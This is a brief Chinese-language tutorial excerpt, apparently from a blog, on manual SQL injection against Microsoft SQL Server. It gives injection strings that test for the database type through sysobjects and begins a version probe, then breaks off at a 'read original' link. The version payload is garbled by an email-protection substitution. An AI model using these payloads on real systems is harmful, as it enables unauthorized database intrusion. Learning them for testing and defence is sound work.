SQL server注入

較爲複雜 一般不用手工 用工具 1.注入語句 ①*判斷數據庫類型 and exists (select * from sysobjects)–返回正常爲mssql（也名sql server） and exists (select count() from sysobjects)–有時上面那個語句不行就試試這個哈 ②判斷數據庫版本 and [email protected]@version–這個語句

>>阅读原文<<